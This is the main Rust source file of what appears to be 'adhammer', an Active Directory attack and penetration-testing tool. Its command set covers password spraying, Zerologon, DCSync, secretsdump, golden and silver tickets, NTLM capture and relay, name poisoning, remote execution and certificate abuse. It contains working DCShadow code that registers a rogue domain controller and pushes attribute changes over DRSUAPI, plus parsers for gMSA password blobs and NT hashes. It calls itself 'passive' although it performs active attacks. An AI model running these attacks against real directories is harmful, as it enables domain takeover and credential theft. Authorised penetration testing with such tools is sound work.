#![allow(unknown_lints, clippy::chunks_exact_to_as_chunks)]
use adhammer_collector::Collector;
use anyhow::{Context, Result};
use clap::{Parser, Subcommand};
mod attacks;
mod checks;
mod dcshadow;
mod dumps;
mod enums;
mod esc_registry;
mod guided;
mod host_posture;
mod interactive;
mod poison;
mod session;
mod setup;
mod shared_args;
mod target;
mod ui;
mod winrm;
#[derive(Parser)]
#[command(
name = "adhammer",
version,
about = "Passive AD security assessment in Rust"
)]
struct Cli {
#[arg(long)]
old: bool,
#[arg(long)]
no_save: bool,
#[arg(long, global = true, value_name = "[user:pass@]host:port")]
socks: Option<String>,
#[arg(long, global = true)]
json: bool,
#[arg(long, global = true)]
text: bool,
#[command(subcommand)]
cmd: Option<Command>,
}
#[derive(Subcommand)]
enum Command {
Scan(attacks::scan::ScanArgs),
#[command(subcommand)]
Enum(EnumCmd),
#[command(subcommand)]
Attack(AttackCmd),
#[command(subcommand)]
Check(CheckCmd),
#[command(subcommand)]
Dump(DumpCmd),
Auto(AutoArgs),
#[command(subcommand)]
Setup(setup::SetupCmd),
}
#[derive(Subcommand)]
enum CheckCmd {
Adcs(checks::adcs::CheckAdcsArgs),
}
#[derive(Subcommand)]
enum DumpCmd {
Laps(dumps::laps::DumpLapsArgs),
Gmsa(dumps::gmsa::DumpGmsaArgs),
}
#[derive(Parser)]
struct AutoArgs {
#[arg(long)]
url: String,
#[arg(long)]
user: String,
#[arg(long, default_value = "")]
password: String,
#[arg(long)]
insecure: bool,
#[arg(long)]
host: Option<String>,
#[arg(long)]
domain: Option<String>,
#[arg(long)]
realm: Option<String>,
#[arg(long)]
kdc: Option<String>,
#[arg(long, default_value = "adhammer-pentest-report.md")]
out: String,
#[arg(long)]
yes: bool,
#[arg(long)]
no_impact: bool,
}
#[derive(Subcommand)]
enum EnumCmd {
Samr(attacks::samr::SamrArgs),
Lsa(attacks::lsa::LsaArgs),
Net(enums::net::NetArgs),
Dns(enums::dns::DnsArgs),
Adcs(enums::dns::DnsArgs),
Esc(enums::esc_registry::EscArgs),
Posture(enums::posture::PostureArgs),
Sessions(enums::sessions::SessionsArgs),
Wkssvc(enums::sessions::SessionsArgs),
Hku(enums::sessions::SessionsArgs),
Sccm(enums::sccm::SysCenterArgs),
Scom(enums::sccm::SysCenterArgs),
}
#[derive(Subcommand)]
enum AttackCmd {
Roast(attacks::scan::ScanArgs),
Spray(attacks::spray::SprayArgs),
Abuse(attacks::abuse::AbuseArgs),
Coerce(attacks::coerce::CoerceArgs),
Zerologon(attacks::zerologon::ZerologonArgs),
Rbcd(attacks::rbcd::RbcdArgs),
Constrained(attacks::rbcd::RbcdArgs),
Asktgt(attacks::asktgt::AsktgtArgs),
Dcsync(attacks::dcsync::DcsyncArgs),
Capture(CaptureArgs),
Poison(PoisonArgs),
Relay(attacks::relay::RelayArgs),
Exec(attacks::exec_pack::ExecArgs),
Atexec(attacks::exec_pack::ExecArgs),
Wmiexec(attacks::exec_pack::ExecArgs),
Secretsdump(attacks::secretsdump::SecretsdumpArgs),
Gmsa(attacks::gmsa::GmsaArgs),
Laps(attacks::laps::LapsArgs),
Winrm(attacks::winrm_exec::WinrmArgs),
Esc1(attacks::esc1::Esc1Args),
#[command(name = "icpr-esc1")]
IcprEsc1(attacks::icpr_esc1::IcprEsc1Args),
Golden(attacks::golden::GoldenArgs),
Silver(attacks::silver::SilverArgs),
#[command(name = "ptt", visible_alias = "pth")]
Ptt(attacks::ptt::PthArgs),
Unconstrained(attacks::scan::ScanArgs),
Badsuccessor(attacks::badsuccessor::BadsuccessorArgs),
Esc4(attacks::esc4::Esc4Args),
Shadowcred(attacks::shadowcred::ShadowcredArgs),
Dcshadow(Box<DcshadowArgs>),
Mssql(attacks::mssql::MssqlArgs),
Dns(attacks::dns::DnsArgs),
}
#[derive(Parser)]
struct DcshadowArgs {
#[command(flatten)]
scan: attacks::scan::ScanArgs,
#[arg(long)]
prep: Option<String>,
#[arg(long)]
cleanup: Option<String>,
#[arg(long, default_value = "Default-First-Site-Name")]
site: String,
#[arg(long)]
drsuapi: bool,
#[arg(long)]
push: bool,
#[arg(long)]
drs_host: Option<String>,
#[arg(long)]
drs_domain: Option<String>,
#[arg(long)]
target: Option<String>,
#[arg(long)]
attr: Option<String>,
#[arg(long)]
value: Option<String>,
#[arg(long)]
value_hex: Option<String>,
#[arg(long)]
rogue_dsa: Option<String>,
}
#[derive(Parser)]
struct PoisonArgs {
#[arg(long)]
spoof_ip: std::net::Ipv4Addr,
}
#[derive(Parser)]
struct CaptureArgs {
#[arg(long, default_value = "0.0.0.0:445")]
listen: String,
}
#[cfg(windows)]
fn enable_windows_console() {
const STD_OUTPUT_HANDLE: u32 = -11i32 as u32;
const STD_ERROR_HANDLE: u32 = -12i32 as u32;
const ENABLE_VIRTUAL_TERMINAL_PROCESSING: u32 = 0x0004;
const CP_UTF8: u32 = 65001;
#[link(name = "kernel32")]
extern "system" {
fn GetStdHandle(nstdhandle: u32) -> *mut core::ffi::c_void;
fn GetConsoleMode(handle: *mut core::ffi::c_void, mode: *mut u32) -> i32;
fn SetConsoleMode(handle: *mut core::ffi::c_void, mode: u32) -> i32;
fn SetConsoleOutputCP(codepage: u32) -> i32;
}
unsafe {
SetConsoleOutputCP(CP_UTF8);
for h in [STD_OUTPUT_HANDLE, STD_ERROR_HANDLE] {
let handle = GetStdHandle(h);
let mut mode = 0u32;
if GetConsoleMode(handle, &mut mode) != 0 {
SetConsoleMode(handle, mode | ENABLE_VIRTUAL_TERMINAL_PROCESSING);
}
}
}
}
#[cfg(not(windows))]
fn enable_windows_console() {}
#[tokio::main]
async fn main() -> Result<()> {
enable_windows_console();
tracing_subscriber::fmt().with_target(false).init();
let cli = Cli::parse();
if let Some(spec) = &cli.socks {
match smb2_client::socks::Socks5::parse(spec) {
Some(cfg) => {
ui::info(&format!("routing all TCP through SOCKS5 {}", cfg.proxy));
smb2_client::socks::set_proxy(Some(cfg));
}
None => {
anyhow::bail!("invalid --socks value '{spec}' (expected [user:pass@]host:port)");
}
}
}
match cli.cmd {
None => interactive::run(cli.old, cli.no_save).await,
Some(cmd) => {
if cli.text {
dispatch(cmd).await
} else {
dispatch_json(cmd).await
}
}
}
}
async fn dispatch_json(cmd: Command) -> Result<()> {
if matches!(
cmd,
Command::Scan(_) | Command::Auto(_) | Command::Check(_) | Command::Setup(_)
) {
return dispatch(cmd).await;
}
let cmd_str = format!("adhammer {}", cmd_label(&cmd));
let exe = std::env::current_exe().context("locate adhammer binary for JSON wrapper")?;
let mut child_args = args_without_json(std::env::args().skip(1).collect());
child_args.push("--text".to_string());
let output = std::process::Command::new(exe)
.args(&child_args)
.stdin(std::process::Stdio::inherit())
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.output()
.context("run child command for JSON wrapper")?;
let ar = adhammer_core::AttackResult {
command: cmd_str,
success: output.status.success(),
evidence: merge_output(&output.stdout, &output.stderr),
finding_id: None,
};
println!("{}", serde_json::to_string_pretty(&ar)?);
if output.status.success() {
Ok(())
} else {
anyhow::bail!("wrapped command exited with {}", output.status);
}
}
fn args_without_json(args: Vec<String>) -> Vec<String> {
args.into_iter().filter(|arg| arg != "--json").collect()
}
fn merge_output(stdout: &[u8], stderr: &[u8]) -> String {
let stdout = String::from_utf8_lossy(stdout).trim().to_string();
let stderr = String::from_utf8_lossy(stderr).trim().to_string();
match (stdout.is_empty(), stderr.is_empty()) {
(true, true) => String::new(),
(false, true) => stdout,
(true, false) => stderr,
(false, false) => format!("{stdout}\n{stderr}"),
}
}
fn cmd_label(cmd: &Command) -> &'static str {
match cmd {
Command::Scan(_) => "scan",
Command::Enum(e) => match e {
EnumCmd::Samr(_) => "enum samr",
EnumCmd::Lsa(_) => "enum lsa",
EnumCmd::Net(_) => "enum net",
EnumCmd::Dns(_) => "enum dns",
EnumCmd::Adcs(_) => "enum adcs",
EnumCmd::Esc(_) => "enum esc",
EnumCmd::Posture(_) => "enum posture",
EnumCmd::Sessions(_) => "enum sessions",
EnumCmd::Wkssvc(_) => "enum wkssvc",
EnumCmd::Hku(_) => "enum hku",
EnumCmd::Sccm(_) => "enum sccm",
EnumCmd::Scom(_) => "enum scom",
},
Command::Attack(a) => match a {
AttackCmd::Roast(_) => "attack roast",
AttackCmd::Spray(_) => "attack spray",
AttackCmd::Abuse(_) => "attack abuse",
AttackCmd::Coerce(_) => "attack coerce",
AttackCmd::Zerologon(_) => "attack zerologon",
AttackCmd::Rbcd(_) => "attack rbcd",
AttackCmd::Constrained(_) => "attack constrained",
AttackCmd::Asktgt(_) => "attack asktgt",
AttackCmd::Dcsync(_) => "attack dcsync",
AttackCmd::Capture(_) => "attack capture",
AttackCmd::Poison(_) => "attack poison",
AttackCmd::Relay(_) => "attack relay",
AttackCmd::Exec(_) => "attack exec",
AttackCmd::Atexec(_) => "attack atexec",
AttackCmd::Wmiexec(_) => "attack wmiexec",
AttackCmd::Secretsdump(_) => "attack secretsdump",
AttackCmd::Gmsa(_) => "attack gmsa",
AttackCmd::Laps(_) => "attack laps",
AttackCmd::Winrm(_) => "attack winrm",
AttackCmd::Esc1(_) => "attack esc1",
AttackCmd::IcprEsc1(_) => "attack icpr-esc1",
AttackCmd::Golden(_) => "attack golden",
AttackCmd::Silver(_) => "attack silver",
AttackCmd::Ptt(_) => "attack ptt",
AttackCmd::Unconstrained(_) => "attack unconstrained",
AttackCmd::Badsuccessor(_) => "attack badsuccessor",
AttackCmd::Esc4(_) => "attack esc4",
AttackCmd::Shadowcred(_) => "attack shadowcred",
AttackCmd::Dcshadow(_) => "attack dcshadow",
AttackCmd::Mssql(_) => "attack mssql",
AttackCmd::Dns(_) => "attack dns",
},
Command::Check(_) => "check adcs",
Command::Dump(d) => match d {
DumpCmd::Laps(_) => "dump laps",
DumpCmd::Gmsa(_) => "dump gmsa",
},
Command::Auto(_) => "auto",
Command::Setup(s) => match s {
setup::SetupCmd::Krb5(_) => "setup krb5",
},
}
}
async fn dispatch(cmd: Command) -> Result<()> {
match cmd {
Command::Scan(a) => attacks::scan::scan(a).await,
Command::Enum(EnumCmd::Samr(a)) => attacks::samr::samr(a).await,
Command::Enum(EnumCmd::Lsa(a)) => attacks::lsa::lsa(a).await,
Command::Enum(EnumCmd::Net(a)) => enums::net::netenum(a).await,
Command::Enum(EnumCmd::Dns(a)) => enums::dns::dnsenum(a).await,
Command::Enum(EnumCmd::Adcs(a)) => enums::adcs::adcsenum(a).await,
Command::Enum(EnumCmd::Esc(a)) => enums::esc_registry::esc_registry_scan(a).await,
Command::Enum(EnumCmd::Posture(a)) => enums::posture::posture_scan(a).await,
Command::Enum(EnumCmd::Sessions(a)) => enums::sessions::sessions(a).await,
Command::Enum(EnumCmd::Wkssvc(a)) => enums::sessions::wkssvc_enum(a).await,
Command::Enum(EnumCmd::Hku(a)) => enums::sessions::hku_enum(a).await,
Command::Enum(EnumCmd::Sccm(a)) => enums::sccm::sccmenum(a).await,
Command::Enum(EnumCmd::Scom(a)) => enums::sccm::scomenum(a).await,
Command::Attack(AttackCmd::Roast(a)) => attacks::roast::roast(a).await,
Command::Attack(AttackCmd::Spray(a)) => attacks::spray::spray(a).await,
Command::Attack(AttackCmd::Abuse(a)) => attacks::abuse::abuse(a).await,
Command::Attack(AttackCmd::Coerce(a)) => attacks::coerce::coerce(a).await,
Command::Attack(AttackCmd::Zerologon(a)) => attacks::zerologon::zerologon(a).await,
Command::Attack(AttackCmd::Rbcd(a)) => attacks::rbcd::rbcd(a).await,
Command::Attack(AttackCmd::Constrained(a)) => attacks::rbcd::rbcd(a).await,
Command::Attack(AttackCmd::Asktgt(a)) => attacks::asktgt::asktgt(a).await,
Command::Attack(AttackCmd::Dcsync(a)) => attacks::dcsync::dcsync(a).await,
Command::Attack(AttackCmd::Capture(a)) => smb2_client::server::capture(&a.listen)
.await
.map_err(Into::into),
Command::Attack(AttackCmd::Poison(a)) => poison::poison(a.spoof_ip).await,
Command::Attack(AttackCmd::Relay(a)) => attacks::relay::relay(a).await,
Command::Attack(AttackCmd::Exec(a)) => attacks::exec_pack::exec_cmd(a).await,
Command::Attack(AttackCmd::Atexec(a)) => attacks::exec_pack::atexec_cmd(a).await,
Command::Attack(AttackCmd::Wmiexec(a)) => attacks::exec_pack::wmiexec_cmd(a).await,
Command::Attack(AttackCmd::Secretsdump(a)) => attacks::secretsdump::secretsdump(a).await,
Command::Attack(AttackCmd::Gmsa(a)) => attacks::gmsa::gmsa(a).await,
Command::Attack(AttackCmd::Laps(a)) => attacks::laps::laps(a).await,
Command::Attack(AttackCmd::Winrm(a)) => attacks::winrm_exec::winrm_exec(a).await,
Command::Attack(AttackCmd::Esc1(a)) => attacks::esc1::esc1(a).await,
Command::Attack(AttackCmd::IcprEsc1(a)) => attacks::icpr_esc1::icpr_esc1(a).await,
Command::Attack(AttackCmd::Golden(a)) => attacks::golden::golden(a).await,
Command::Attack(AttackCmd::Silver(a)) => attacks::silver::silver(a).await,
Command::Attack(AttackCmd::Ptt(a)) => {
if std::env::args().any(|a| a == "pth") {
eprintln!(
"[!] `attack pth` is deprecated (industry PTH = pass-the-hash); \
use `attack ptt` (pass-the-ticket). Alias will be removed in 1.5.0."
);
}
attacks::ptt::pth(a).await
}
Command::Attack(AttackCmd::Unconstrained(a)) => {
attacks::unconstrained::unconstrained(a).await
}
Command::Attack(AttackCmd::Badsuccessor(a)) => attacks::badsuccessor::badsuccessor(a).await,
Command::Attack(AttackCmd::Esc4(a)) => attacks::esc4::esc4(a).await,
Command::Attack(AttackCmd::Shadowcred(a)) => attacks::shadowcred::shadowcred(a).await,
Command::Attack(AttackCmd::Dcshadow(a)) => dcshadow(*a).await,
Command::Attack(AttackCmd::Mssql(a)) => attacks::mssql::mssql(a).await,
Command::Attack(AttackCmd::Dns(a)) => attacks::dns::dns(a).await,
Command::Check(CheckCmd::Adcs(a)) => checks::adcs::check_adcs(a).await,
Command::Dump(DumpCmd::Laps(a)) => dumps::laps::dump_laps(a).await,
Command::Dump(DumpCmd::Gmsa(a)) => dumps::gmsa::dump_gmsa(a).await,
Command::Setup(setup::SetupCmd::Krb5(a)) => setup::krb5::run(a).await,
Command::Auto(a) => {
guided::guided(guided::GuidedArgs {
url: a.url,
user: a.user,
password: a.password,
insecure: a.insecure,
host: a.host,
domain: a.domain,
realm: a.realm,
kdc: a.kdc,
out: a.out,
yes: a.yes,
no_impact: a.no_impact,
})
.await
}
}
}
pub(crate) fn resolve_secret(argv_value: &str, env_key: &str) -> Result<String> {
if let Some(path) = argv_value.strip_prefix("@file:") {
let raw =
std::fs::read_to_string(path).with_context(|| format!("read password file {path}"))?;
return Ok(raw.trim_end_matches(['\n', '\r']).to_string());
}
if !argv_value.is_empty() {
return Ok(argv_value.to_string());
}
if let Ok(v) = std::env::var(env_key) {
if !v.is_empty() {
return Ok(v);
}
}
use std::io::IsTerminal;
if std::io::stdin().is_terminal() {
let pw = dialoguer::Password::new()
.with_prompt(format!("password (or set {env_key})"))
.interact()
.context("read password from tty")?;
return Ok(pw);
}
Ok(String::new())
}
#[cfg(test)]
mod resolve_secret_tests {
use super::{args_without_json, merge_output, resolve_secret};
use std::io::Write as _;
#[test]
fn literal_argv_passes_through_verbatim() {
std::env::remove_var("ADHAMMER_TEST_UNSET");
let got = resolve_secret("literal-pw", "ADHAMMER_TEST_UNSET").unwrap();
assert_eq!(got, "literal-pw");
}
#[test]
fn env_var_used_when_argv_empty() {
std::env::set_var("ADHAMMER_TEST_ENV_HIT", "from-env");
let got = resolve_secret("", "ADHAMMER_TEST_ENV_HIT").unwrap();
std::env::remove_var("ADHAMMER_TEST_ENV_HIT");
assert_eq!(got, "from-env");
}
#[test]
fn empty_env_falls_through_to_prompt_or_empty() {
std::env::remove_var("ADHAMMER_TEST_MISSING");
let got = resolve_secret("", "ADHAMMER_TEST_MISSING").unwrap();
assert_eq!(got, "");
}
#[test]
fn file_ref_reads_and_trims_trailing_newline() {
let dir = std::env::temp_dir().join("adhammer_resolve_secret_tests");
std::fs::create_dir_all(&dir).unwrap();
let path = dir.join("pw.txt");
let mut f = std::fs::File::create(&path).unwrap();
f.write_all(b"hunter2\r\n").unwrap();
drop(f);
let arg = format!("@file:{}", path.display());
let got = resolve_secret(&arg, "ADHAMMER_UNUSED").unwrap();
assert_eq!(got, "hunter2");
let _ = std::fs::remove_file(&path);
}
#[test]
fn file_ref_missing_file_is_an_error() {
let err = resolve_secret("@file:/no/such/adhammer/pw.txt", "ADHAMMER_UNUSED").unwrap_err();
let msg = format!("{err:#}");
assert!(
msg.contains("read password file"),
"unexpected error: {msg}"
);
}
#[test]
fn json_wrapper_strips_all_json_flags() {
let got = args_without_json(vec![
"attack".into(),
"--json".into(),
"icpr-esc1".into(),
"--json".into(),
"--ca".into(),
"TEST-CA".into(),
]);
assert_eq!(got, vec!["attack", "icpr-esc1", "--ca", "TEST-CA"]);
}
#[test]
fn merged_output_preserves_stdout_and_stderr() {
let got = merge_output(b"hello\n", b"warn\n");
assert_eq!(got, "hello\nwarn");
}
}
pub(crate) fn parse_nt_hash(s: &str) -> Result<[u8; 16]> {
let hex_str = s.rsplit(':').next().unwrap_or(s).trim();
let raw = hex::decode(hex_str).context("--nt-hash must be hex")?;
anyhow::ensure!(
raw.len() == 16,
"--nt-hash must be a 32-hex NT hash (got {} bytes)",
raw.len()
);
Ok(raw.try_into().unwrap())
}
pub(crate) fn parse_forge_key(s: &str, rc4: bool) -> Result<Vec<u8>> {
let raw = hex::decode(s.trim()).context("forge key must be hex")?;
let want = if rc4 { 16 } else { 32 };
anyhow::ensure!(
raw.len() == want,
"expected a {}-hex {} key, got {} hex",
want * 2,
if rc4 { "RC4/NT-hash" } else { "AES256" },
raw.len() * 2
);
Ok(raw)
}
pub(crate) async fn smb_login(
smb: &mut smb2_client::SmbClient,
host: &str,
domain: &str,
user: &str,
password: &str,
nt_hash: &Option<String>,
) -> Result<()> {
match nt_hash {
Some(h) => {
let nt = parse_nt_hash(h)?;
smb.login_hash(host, domain, user, &nt).await?;
}
None => {
anyhow::ensure!(!password.is_empty(), "provide --password or --nt-hash");
smb.login(host, domain, user, password).await?;
}
}
Ok(())
}
pub(crate) fn parse_managed_password_blob(b: &[u8]) -> Option<Vec<u8>> {
if b.len() < 16 {
return None;
}
let cur_off = u16::from_le_bytes([b[8], b[9]]) as usize; let prev_off = u16::from_le_bytes([b[10], b[11]]) as usize; let end = if prev_off > cur_off {
prev_off
} else {
b.len()
};
let pw = b.get(cur_off..end)?;
Some(pw.get(..256).unwrap_or(pw).to_vec())
}
async fn dcshadow(mut a: DcshadowArgs) -> Result<()> {
a.scan.auth.password = resolve_secret(&a.scan.auth.password, "ADHAMMER_PASSWORD")?;
if a.drsuapi && a.push {
let drs = build_drs_auth(&a)?;
let target = a
.target
.as_deref()
.ok_or_else(|| anyhow::anyhow!("--push requires --target <DN>"))?;
let rogue_dsa = a
.rogue_dsa
.as_deref()
.ok_or_else(|| anyhow::anyhow!("--push requires --rogue-dsa <dns-name>"))?;
let attr_typ = parse_attr_typ(&a)?;
let value = parse_push_value(&a)?;
let dst_nc = target
.split(',')
.filter(|c| c.trim_start().to_ascii_lowercase().starts_with("dc="))
.collect::<Vec<_>>()
.join(",");
if dst_nc.is_empty() {
anyhow::bail!("--target must contain at least one DC= component to derive the NC");
}
dcshadow::drsuapi_push(&drs, &dst_nc, rogue_dsa, target, attr_typ, value).await?;
println!(
"[+] DCShadow push landed: {target} attr=0x{attr_typ:08x} via rogue DSA {rogue_dsa}"
);
println!(" Verify: read the attribute back (e.g. `Get-ADUser -Filter …`) on the DC");
return Ok(());
}
if let Some(name) = a.prep.as_deref() {
use adhammer_collector::Collector;
let mut coll = Collector::connect(&attacks::scan::config(&a.scan)).await?;
let (dns, path) = if a.drsuapi {
let drs = build_drs_auth(&a)?;
(
dcshadow::drsuapi_prep(&mut coll, &drs, name, &a.site).await?,
"DRSUAPI (IDL_DRSAddEntry opnum 17)",
)
} else {
(
dcshadow::prep(&mut coll, name, &a.site).await?,
"LDAP (≤2016)",
)
};
println!("[+] DCShadow prep registered rogue nTDSDSA via {path}");
println!(" Server : {}", dns.server_dn);
println!(" NTDS : {}", dns.ntds_dn);
println!();
println!(
" Cleanup: `attack dcshadow --cleanup {name} --site {}`",
a.site
);
return Ok(());
}
if let Some(name) = a.cleanup.as_deref() {
use adhammer_collector::Collector;
let mut coll = Collector::connect(&attacks::scan::config(&a.scan)).await?;
dcshadow::cleanup(&mut coll, name, &a.site).await?;
println!(
"[+] DCShadow cleanup removed rogue nTDSDSA '{name}' under site '{}'",
a.site
);
return Ok(());
}
use adhammer_graph::ControlPrimitive as P;
let snap = Collector::connect(&attacks::scan::config(&a.scan))
.await?
.collect()
.await?;
let graph = adhammer_graph::ControlGraph::build(&snap);
let mut who = Vec::new();
for kind in [
P::DcsyncGetChanges,
P::DcsyncGetChangesAll,
P::DcsyncGetChangesFiltered,
] {
for (src, dst) in graph.direct_edges_to_tier0(kind.into()) {
who.push((src, dst, kind));
}
}
if who.is_empty() {
println!("== DCShadow-capable principals ==");
println!(" (none found — no principal outside Tier-0 holds replication rights)");
} else {
println!("== DCShadow-capable principals ({}) ==", who.len());
for (src, dst, kind) in &who {
println!(" {src:<32} → {dst} [{}]", kind.name());
}
println!();
println!(
"These already have DCSync. Each is a shortcut to DA — running `attack dcsync --user krbtgt`"
);
println!("as any of them dumps the whole domain without a lateral move.");
}
Ok(())
}
fn build_drs_auth(a: &DcshadowArgs) -> Result<dcshadow::DrsAuth> {
let host = a
.drs_host
.as_deref()
.ok_or_else(|| anyhow::anyhow!("--drsuapi requires --drs-host <dns-name-or-ip>"))?;
let domain = a
.drs_domain
.as_deref()
.ok_or_else(|| anyhow::anyhow!("--drsuapi requires --drs-domain <NETBIOS>"))?;
Ok(dcshadow::DrsAuth {
host: host.to_string(),
domain: domain.to_string(),
user: a.scan.auth.user.clone(),
password: a.scan.auth.password.clone(),
})
}
fn parse_attr_typ(a: &DcshadowArgs) -> Result<u32> {
let s = a
.attr
.as_deref()
.ok_or_else(|| anyhow::anyhow!("--push requires --attr <ATTRTYP>"))?;
let s = s.trim();
let n = if let Some(hex) = s.strip_prefix("0x").or_else(|| s.strip_prefix("0X")) {
u32::from_str_radix(hex, 16)
} else {
s.parse::<u32>()
};
n.map_err(|_| anyhow::anyhow!("--attr must be an integer or 0x-hex ATTRTYP, got {s:?}"))
}
fn parse_push_value(a: &DcshadowArgs) -> Result<Vec<u8>> {
match (a.value.as_deref(), a.value_hex.as_deref()) {
(Some(_), Some(_)) => {
anyhow::bail!("pass either --value or --value-hex, not both")
}
(Some(v), None) => Ok(v.as_bytes().to_vec()),
(None, Some(h)) => {
hex::decode(h.trim()).map_err(|e| anyhow::anyhow!("--value-hex parse: {e}"))
}
(None, None) => anyhow::bail!("--push requires --value <text> or --value-hex <bytes>"),
}
}
#[cfg(test)]
mod managed_pw_blob_tests {
use super::parse_managed_password_blob;
#[test]
fn managed_password_blob_extracts_current() {
let mut b = vec![1, 0, 0, 0]; b.extend_from_slice(&0u32.to_le_bytes()); b.extend_from_slice(&16u16.to_le_bytes()); b.extend_from_slice(&0u16.to_le_bytes()); b.extend_from_slice(&0u16.to_le_bytes()); b.extend_from_slice(&0u16.to_le_bytes()); b.extend_from_slice(&[0xAB; 256]); let pw = parse_managed_password_blob(&b).unwrap();
assert_eq!(pw.len(), 256);
assert!(pw.iter().all(|&x| x == 0xAB));
}
}